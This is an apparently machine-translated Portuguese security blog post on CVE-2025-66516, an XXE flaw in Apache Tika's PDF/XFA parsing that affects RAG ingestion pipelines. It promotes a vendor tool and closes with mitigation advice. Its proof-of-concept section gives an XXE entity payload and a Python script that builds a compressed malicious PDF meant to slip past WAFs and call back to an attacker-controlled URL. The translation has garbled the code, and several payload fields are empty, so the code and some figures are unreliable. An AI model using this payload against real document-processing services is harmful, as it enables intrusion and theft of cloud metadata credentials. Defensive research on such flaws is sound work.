Anatomia de um RAG Killer: Mergulho profundo no CVE-2025-66516 e no Apache Tika RCE

Na pressa de implantar pipelines de Geração Aumentada por Recuperação (RAG), o setor ignorou coletivamente uma verdade fundamental: O analisador é a superfície de ataque.

Embora as manchetes em 2025 tenham se concentrado na injeção de prompts e no jailbreak, os ataques mais devastadores têm como alvo o middleware sem glamour que processa os dados. CVE-2025-66516 (CVSS 10.0) é o ponto culminante desse descuido. Não se trata de uma vulnerabilidade de IA por si sóÉ uma vulnerabilidade de infraestrutura legada armada contra arquiteturas modernas de IA.

Esta análise detalha a mecânica da vulnerabilidade do Apache Tika XFA, demonstra por que os WAFs padrão não conseguem detectá-la e fornece uma estratégia de prova de conceito (PoC) verificada para testadores de penetração.

O contexto: Por que o CVE-2025-66516 é importante agora

Para entender a gravidade, precisamos analisar a arquitetura de um sistema RAG empresarial típico em 2026.

1. Camada de usuário: Um funcionário faz upload de um PDF (por exemplo, um relatório financeiro ou currículo) para um "Assistente de IA" interno.
2. Camada de ingestão: O backend (LangChain, LlamaIndex ou scripts Python personalizados) utiliza um carregador de documentos.
3. Camada de análise: 85% desses carregadores dependem de Apache Tika (geralmente executado como um servidor sem cabeça em um contêiner do Docker) para extrair texto.
4. Vetorização: O texto é incorporado e armazenado em um banco de dados vetorial (Pinecone, Milvus, Weaviate).

CVE-2025-66516 ocorrências Camada 3. Ele permite que um invasor incorpore uma carga útil maliciosa da XML Forms Architecture (XFA) em um PDF padrão. Quando o Tika tenta analisar os dados do formulário para extrair texto para o LLM, ele executa o XML, o que leva a Entidade externa XML (XXE) injeção.

Como o Tika Server geralmente é executado com privilégios de root dentro de contêineres para manipular arquivos temporários, esse XXE é escalado imediatamente para Execução remota de código (RCE) ou Falsificação de solicitação do lado do servidor (SSRF)permitindo que os invasores descarreguem as credenciais de metadados da AWS ou entrem no VPC interno.

Análise técnica: A falha lógica do XFA Parser

A vulnerabilidade existe no org.apache.tika.parser.pdf.PDFParser especificamente na forma como ele lida com a classe XDP (XML Data Package) dentro de um PDF.

Nas versões anteriores à 3.2.2, a lógica para extrair dados XFA era mais ou menos assim (representação simplificada em Java):

Java

// SEGMENTO DE CÓDIGO VULNERÁVEL (Conceitual) if (document.getCatalog().getAcroForm().hasXFA()) { XFA xfa = document.getCatalog().getAcroForm().getXFA(); Document xfaDom = xfa.getDomDocument(); // <--- Trigger Point // O transformador XML padrão aqui não desativou DTDs // ou entidades externas efetivamente para fluxos XFA. this.extractTextFromXFA(xfaDom); }

A falha crítica foi presumir que o mecanismo de renderização de PDF (PDFBox) higienizou o fluxo XML antes que o Tika acessasse o DOM. Isso não aconteceu. O analisador confiava implicitamente na estrutura interna do PDF.

Comparação: Padrão XXE vs. CVE-2025-66516

Construção do exploit (PoC)

Para usar isso como arma, um simples editor de texto não é suficiente. Precisamos manipular a estrutura do objeto PDF. O objetivo é injetar um objeto XDP que faz referência a uma entidade externa sob seu controle.

Fase 1: o payload XML malicioso

Primeiro, criamos o XML que define a entidade. Queremos testar a interação fora da banda (OOB) para confirmar a vulnerabilidade sem derrubar o servidor.

XML

<xdp:xdp xmlns:xdp=""> <!DOCTYPE data [ <!ENTITY % payload SYSTEM ""> %payload; ]> CVE-Check

Fase 2: Script de injeção Python

Usamos Python para envolver esse XML em uma estrutura de objeto PDF válida. Isso ignora o antivírus baseado em assinatura porque o arquivo é um PDF matematicamente válido.

Python

`importar zlib

def build_exploit_pdf(callback_url): # 1. Definir o pacote XFA malicioso xfa_xml = f""" <xdp:xdp xmlns:xdp=""http://ns.adobe.com/xdp/"> <!DOCTYPE root [ %xxe; ]> """.strip()

# 2. Comprimir o fluxo (ofuscação)
# O Tika inflará isso automaticamente, mas os WAFs geralmente perdem os fluxos compactados
stream_content = zlib.compress(xfa_xml.encode('utf-8'))

# 3. Construir o corpo do PDF
O objeto 3 do # faz referência ao fluxo XFA
pdf_body = (
    b "%PDF-1.7\\n"
    b "1 0 obj\\n<< /Type /Catalog /Pages 2 0 R /AcroForm <> >>\\nendobj\\n"
    b "2 0 obj\\n<>\\nendobj\\n"
    b "3 0 obj\\n<>\\n"
    b "stream\\n" + stream_content + b"\\nendstream\\nendobj\\n"
    b "trailer\\n<>\\n%%EOF"
)

with open("resume_hacker.pdf", "wb") as f:
    f.write(pdf_body)
print(f"[+] Artefato 'resume_hacker.pdf' criado usando a compactação zlib.")

Executar

build_exploit_pdf("http://burp-collaborator-url/xxe_trigger“)`

Quando o agente RAG da vítima processa resume_hacker.pdf para gerar incorporações, o backend do Tika infla o objeto 3, analisa o XML e dispara uma solicitação para o URL do seu colaborador.

O ponto cego do DevSecOps moderno

Por que o CVE-2025-66516 é persistente em 2026? Ele destaca uma lacuna significativa na metodologia "Shift Left".

A maioria das equipes de DevSecOps examina seus código-fonte (SAST) e seus imagens de base (Varredura de contêineres). No entanto, o Tika é frequentemente tratado como um utilitário de "caixa preta".

• SAST não o vê porque se trata de uma dependência binária.
• DAST O Dynamic Application Security Testing (Teste de Segurança de Aplicativos Dinâmicos) geralmente faz fuzzing nos pontos de extremidade da API com JSON ou SQLi, mas raramente tenta fazer uploads de arquivos poliglotas complexos e de formato binário.

É nesse ponto que as metodologias de teste legadas falham em relação aos agentes de IA. O agente foi projetado para consumir dados complexos não estruturados; portanto, os casos de teste devem ser dados complexos não estruturados.

Validação automatizada com a Penligent

Esse vetor específico - ataques incorporados em formatos de arquivos não estruturados - é o foco principal da segurança ofensiva de última geração. É aqui que ferramentas como Penligente se diferenciam dos scanners tradicionais, como o Nessus ou o Burp Suite.

Os agentes de IA da Penligent são projetados para entender o contexto do aplicativo. Quando a Penligent encontra um endpoint de upload de arquivo em um pipeline RAG, ela não se limita a fazer fuzz nos cabeçalhos HTTP. Ele constrói de forma inteligente cargas úteis "baseadas em mutação", como o exploit de PDF acima. Ele efetivamente pergunta: "Se eu alimentar essa IA com um currículo que contenha uma exploração no nível do kernel, ela o processará?"

Ao automatizar a criação desses arquivos poliglotas (PDFs contendo XXE, imagens contendo webshells PHP), a Penligent simula um invasor sofisticado que entende a lógica de análise subjacente do alvo, fornecendo uma avaliação realista da resiliência do pipeline RAG contra o CVE-2025-66516 e ataques semelhantes de "confusão de formatos".

Estratégias de mitigação

Se sua organização depende do Tika (ou de estruturas que o agrupam, como Unstructured.io ou LangChain Community), aplique essas correções imediatamente.

1. A opção "nuclear": Desativar o XFA

A menos que sua empresa exija especificamente a análise de dados de formulários PDF interativos (o que é raro para o RAG), desative totalmente o analisador XFA em tika-config.xml.

XML

false false false

2. Isolar o analisador (o padrão "Airlock")

Nunca execute a análise de documentos no mesmo contexto da lógica do aplicativo ou do banco de dados vetorial.

• Execute o Tika em um contêiner sem controle.
• Isolamento da rede: O contêiner Tika deve ter acesso de saída zero. Ele recebe um arquivo, retorna texto e não pode iniciar conexões com a Internet ou com o serviço interno de metadados na nuvem (169.254.169.254).
• Limites de recursos: Definir limites rígidos de memória (Xmx) para evitar ataques de DoS "Billion Laughs", que geralmente são primos do XXE.

3. Mudança para analisadores em área restrita

Considere abandonar os analisadores baseados em Java para entradas não confiáveis. Alternativas modernas que utilizam Rust ou Go, ou ambientes sandboxed como gVisor ou AWS FirecrackerOs arquivos binários, como os arquivos de texto, fornecem uma camada de isolamento muito mais forte para a tarefa inerentemente arriscada de analisar arquivos binários.

Resumo

O CVE-2025-66516 serve como um alerta para a segurança de IA. Estamos construindo castelos inteligentes sobre a areia. Enquanto nossos modelos de IA dependerem de bibliotecas de análise de décadas atrás para interpretar o mundo, essas bibliotecas continuarão sendo o caminho de menor resistência para os invasores.

Proteja sua camada de ingestão. Verifique suas versões do Tika. E presuma que todo PDF carregado em seu sistema é uma arma até que se prove o contrário.

Referências e leituras adicionais

• Boletins de segurança do Apache Tika (oficial)
• OWASP Top 10 para aplicativos LLM: LLM06 Agência excessiva
• NVD - CVE-2025-66516 Detalhe
• Apresentação da BlackHat 2025: "Analisando o não analisável"